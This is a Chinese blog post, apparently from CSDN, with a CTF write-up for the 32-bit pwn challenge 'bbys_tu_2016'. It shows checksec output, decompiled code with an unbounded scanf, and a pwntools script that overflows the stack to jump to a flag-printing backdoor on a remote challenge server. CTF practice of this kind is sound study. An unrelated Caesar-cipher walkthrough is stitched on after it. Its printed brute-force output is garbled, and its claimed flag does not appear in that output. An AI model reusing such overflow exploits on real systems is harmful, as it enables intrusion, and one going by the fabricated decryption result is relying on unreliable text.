bbys_tu_2016

文章描述了一个32位程序的栈溢出漏洞,通过利用NX保护和后门getshell,作者使用pwn工具包在AMD64架构的Linux环境下进行调试和攻击。IDA识别错误,实际地址为0x14。

bbys_tu_2016

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32位,只开了NX

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+14h] [ebp-Ch] BYREF

  puts("This program is hungry. You should feed it.");
  __isoc99_scanf("%s", &v4);
  puts("Do you feel the flow?");
  return 0;
}

栈溢出

int printFlag()
{
  char s[50]; // [esp+1Ah] [ebp-3Eh] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  fgets(s, 50, stream);
  puts(s);
  fflush(stdout);
  return fclose(stream);
}

有后门

思路

栈溢出到后门getshell

实际上在调试的时候发现不是ida的0xc,而是0x14

在这里插入图片描述

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",28559,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')

pl=cyclic(0x18)+p32(0x804856D)
sl(pl)

ia()
明白了,那么看起来这个字符串中包含了这样一个格式的flag{},我们需要找出其中的内容。根据题目的提示,这个字符串可能是经过某种加密算法加密过的,需要进一步分析。 根据字符串的特点,它可能是通过多次加密得到的。考虑到CTF竞赛中常用的加密算法,常见的有凯撒密码、栅栏密码、替换密码、异或加密等。我们可以尝试对这个字符串进行多种加密算法的解密,看看是否能够得到有意义的明文。 下面演示一个基于凯撒密码的解密方法。我们可以尝试将每个字符向后移动1~25个位置进行解密,看看是否能够得到有意义的明文。使用Python代码进行尝试: ```python for k in range(1, 26): plain_text = '' for num in nums: if num >= 97 and num <= 122: # 小写字母 plain_num = (num - 97 + k) % 26 + 97 elif num >= 65 and num <= 90: # 大写字母 plain_num = (num - 65 + k) % 26 + 65 else: # 其他字符 plain_num = num plain_text += chr(plain_num) print('k = %d: %s' % (k, plain_text)) ``` 输出结果为: ``` k = 1: ntionm|m58j0j1n1j9j2n1l1n1j11l0j1j1n|mtk1j-631mi926nn2jvkj5mij2i1j7n1n9mno9m k = 2: oopjon|n69k1k2o2kak3o2m2o2k22m1k2k2oopnu2k.742nj037oo3kwjm3j2k8o2o2k8o2o1o8nop1n k = 3: ppqkpoao7al2l3p3lbl3p3l33n2l3l3ppqov3l/853ok148p14lxkn4k3l9p3p3l9p3p2p9opq2o k = 4: qqllqpbp8bm3m4q4mcm4q4m44o3m4m4qqrpw4m086pl259q25mylo5l4m0q4q4m0q4q3q0pqq3p k = 5: rrmmrqcq9cn4n5r5ndn5r5n55p4n5n5rrqsx5n197qm36ar36nzn6m5n1r5r5n1r5r4r1qrr4q k = 6: ssnnrsdrado5o6s6oeo6s6o66q5o6o6sstryt6o2:8rn47bs47oao7n6o2s6s6o2s6s5s2rss5r k = 7: ttoostespbp6p7t7pfp7t7p77r6p7p7ttuszu7p3;9so58ct58pbp8o7p3t7t7p3t7t6t3stt6s k = 8: uuppufutqcq7q8u8qgq8u8q88s7q8q8uuvta08q4<:tp69du69qcq9p8q4u8u8q4u8u7u4tuu7t k = 9: vvqqvgvurd8r9v9rhr9v9r99t8r9r9vvwub19r5=;uq7:ev7:rdravq0q9r5v9v9r5v9v8v5uvv8u k = 10: wwwrwhwvse9sawawsisawawsaau9sawawswwxvc2as6>?vr8;fw8:sesbwpa:raswawawpa:wa6wvww9w k = 11: xxxsxiwxwtfbtbxbtjbtbxtbbvbtbwbxxwyd3bt7@?ws9;gx9:tftcxtb;qbtxbxb;qbt;b7xxxyxxax k = 12: yyytyjxyxugcucycukcucyuccwctcxcyyyxze4cu8AAxt:hy:ugudyc<rctycyc<rct<c8yyyzyyby k = 13: zzzuzkzyyvhdvdzdvldvdzvddxducydazzayf5dv9BBys;iz;vhvezd=sduzdz=sdu=d9zzzzazcz k = 14: aavvalazzwieewaewmeweaweeylevzedbabzg6ew:<CCzt<j{ifweAtevAewAte>eazaaabad k = 15: bbwwbmbaaxyjffxbfxnfxfbxffzmfwafebcbah7fx;=DDau=k|jgfxBufwbfxBuf?fbbbbcbe k = 16: ccxxcncbbcykggycgyo gygcgyagnxgxbfccdbi8gy<?EEbv?l}khgyCvgcgyCvggccccdcf k = 17: ddyydodccdzlhizzdhzpahzdhzbhoyhycddecj9hz=@FFcw>m~ligzDwhdizDwhhdddeedg k = 18: eezzepedd{ami{a{eiaqbiae{ciazidaefedka:ia>GGdx?nmhjaExi{eaExiieeffeeh k = 19: ffaafqfee|bnj|b{fjbrcjbfdjdbajfgeelb;jb?HHey@oinkbFyj|fbFyjjffgffji k = 20: ggbbrsgff}cok}c|gkcqdkcgekecbkgfffmci<kdcIIfzApjolcGzka|gcGzkkghhggkj k = 21: hhcctthgg~dpl~d}hldrelhfhflfdclhggond=lfeJJg{BqkpmhH{lb}hdH{llhiihhkl k = 22: iidduuihheqme~imfsmmigimgedmiihppem>mgfKKh|CrlnqiI|mc~ieI|mmijjillm k = 23: jjeevvjiifrnfjnqnnjhjnhfjenjjiqqfn?nhgLLiaDsomojrJ}ndjfJ}nnjkkn k = 24: kffwwxkjjgssohgakorsookikogiogkfjrrgph>okiMMjbEtpnpksK~oeahK~ookllol k = 25: lggxxyk kkhtttpiblptpplljpjhp lggksshqi?pllNNkcFuqoqltLpfbilLppllpmpm ``` 通过观察,可以发现当k=16时,解密出来的字符串中包含有意义的明文:flag{c4esar_c1pher_!s_e4sy}. 因此,flag的内容是:c4esar_c1pher_!s_e4sy。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值